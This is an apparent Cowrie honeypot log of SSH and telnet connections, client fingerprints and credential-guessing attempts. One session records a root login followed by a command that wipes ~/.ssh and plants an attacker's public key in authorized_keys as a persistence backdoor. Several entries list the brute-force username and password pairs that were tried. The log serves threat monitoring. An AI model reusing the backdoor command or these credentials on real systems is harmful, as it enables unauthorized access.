{"eventid":"cowrie.session.connect","src_ip":"69.118.176.77","src_port":42332,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bc9c7d3c499","protocol":"telnet","message":"New connection: 69.118.176.77:42332 (159.203.135.109:23) [session: 3bc9c7d3c499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:20:23.598623Z"}
{"eventid":"cowrie.session.closed","duration":13.466505289077759,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:20:37.065032Z","src_ip":"69.118.176.77","session":"3bc9c7d3c499","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":53504,"dst_ip":"159.203.135.109","dst_port":22,"session":"f21b59765ae8","protocol":"ssh","message":"New connection: 2.57.122.208:53504 (159.203.135.109:22) [session: f21b59765ae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:21:46.166603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:21:46.174157Z","src_ip":"2.57.122.208","session":"f21b59765ae8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:21:46.275514Z","src_ip":"2.57.122.208","session":"f21b59765ae8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4$RFV","message":"login attempt [ubuntu/4$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:21:46.583659Z","src_ip":"2.57.122.208","session":"f21b59765ae8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:21:47.711919Z","src_ip":"2.57.122.208","session":"f21b59765ae8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":60398,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0b832786d42","protocol":"ssh","message":"New connection: 2.57.122.208:60398 (159.203.135.109:22) [session: f0b832786d42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:24:01.033642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:24:01.070938Z","src_ip":"2.57.122.208","session":"f0b832786d42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:24:01.210011Z","src_ip":"2.57.122.208","session":"f0b832786d42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4rfv$RFV","message":"login attempt [ubuntu/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:24:01.765947Z","src_ip":"2.57.122.208","session":"f0b832786d42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:24:02.924507Z","src_ip":"2.57.122.208","session":"f0b832786d42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.19.136.61","src_port":58476,"dst_ip":"10.17.0.5","dst_port":22,"session":"93610c7213db","protocol":"ssh","message":"New connection: 186.19.136.61:58476 (10.17.0.5:22) [session: 93610c7213db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:24:33.579933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:24:33.587523Z","src_ip":"186.19.136.61","session":"93610c7213db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:24:33.741597Z","src_ip":"186.19.136.61","session":"93610c7213db","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"yuanyuan","message":"login attempt [root/yuanyuan] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:24:34.352657Z","src_ip":"186.19.136.61","session":"93610c7213db","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:24:34.699292Z","src_ip":"186.19.136.61","session":"93610c7213db","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:24:34.702904Z","src_ip":"186.19.136.61","session":"93610c7213db","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:24:34.706520Z","src_ip":"186.19.136.61","session":"93610c7213db","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:24:34.864915Z","src_ip":"186.19.136.61","session":"93610c7213db","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:24:35.203039Z","src_ip":"186.19.136.61","session":"93610c7213db","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:24:35.206027Z","src_ip":"186.19.136.61","session":"93610c7213db","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:24:35.370389Z","src_ip":"186.19.136.61","session":"93610c7213db","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:24:35.374149Z","src_ip":"186.19.136.61","session":"93610c7213db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.19.136.61","src_port":58858,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b49f025c5ce","protocol":"ssh","message":"New connection: 186.19.136.61:58858 (10.17.0.5:22) [session: 9b49f025c5ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:24:35.515911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:24:35.523554Z","src_ip":"186.19.136.61","session":"9b49f025c5ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:24:35.682022Z","src_ip":"186.19.136.61","session":"9b49f025c5ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:24:36.308765Z","src_ip":"186.19.136.61","session":"9b49f025c5ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:24:37.470499Z","src_ip":"186.19.136.61","session":"9b49f025c5ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.19.136.61","src_port":59144,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d768ee64040","protocol":"ssh","message":"New connection: 186.19.136.61:59144 (10.17.0.5:22) [session: 1d768ee64040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:24:37.617972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:24:37.622152Z","src_ip":"186.19.136.61","session":"1d768ee64040","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:24:37.779524Z","src_ip":"186.19.136.61","session":"1d768ee64040","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:24:38.436092Z","src_ip":"186.19.136.61","session":"1d768ee64040","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:24:38.594470Z","src_ip":"186.19.136.61","session":"93610c7213db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:24:38.598493Z","src_ip":"186.19.136.61","session":"1d768ee64040","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":19230,"dst_ip":"10.17.0.5","dst_port":22,"session":"577325df3f32","protocol":"ssh","message":"New connection: 213.209.159.159:19230 (10.17.0.5:22) [session: 577325df3f32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:26:07.202788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:26:07.207137Z","src_ip":"213.209.159.159","session":"577325df3f32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:26:07.288796Z","src_ip":"213.209.159.159","session":"577325df3f32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shae","password":"shae","message":"login attempt [shae/shae] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:26:07.691221Z","src_ip":"213.209.159.159","session":"577325df3f32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shae","password":"shae1","message":"login attempt [shae/shae1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:26:08.776264Z","src_ip":"213.209.159.159","session":"577325df3f32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shae","password":"shae123","message":"login attempt [shae/shae123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:26:09.860889Z","src_ip":"213.209.159.159","session":"577325df3f32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":46206,"dst_ip":"159.203.135.109","dst_port":22,"session":"3423120cb346","protocol":"ssh","message":"New connection: 2.57.122.208:46206 (159.203.135.109:22) [session: 3423120cb346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:26:10.018338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:26:10.034141Z","src_ip":"2.57.122.208","session":"3423120cb346","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T20:26:10.177931Z","src_ip":"2.57.122.208","session":"3423120cb346","protocol":"ssh"}
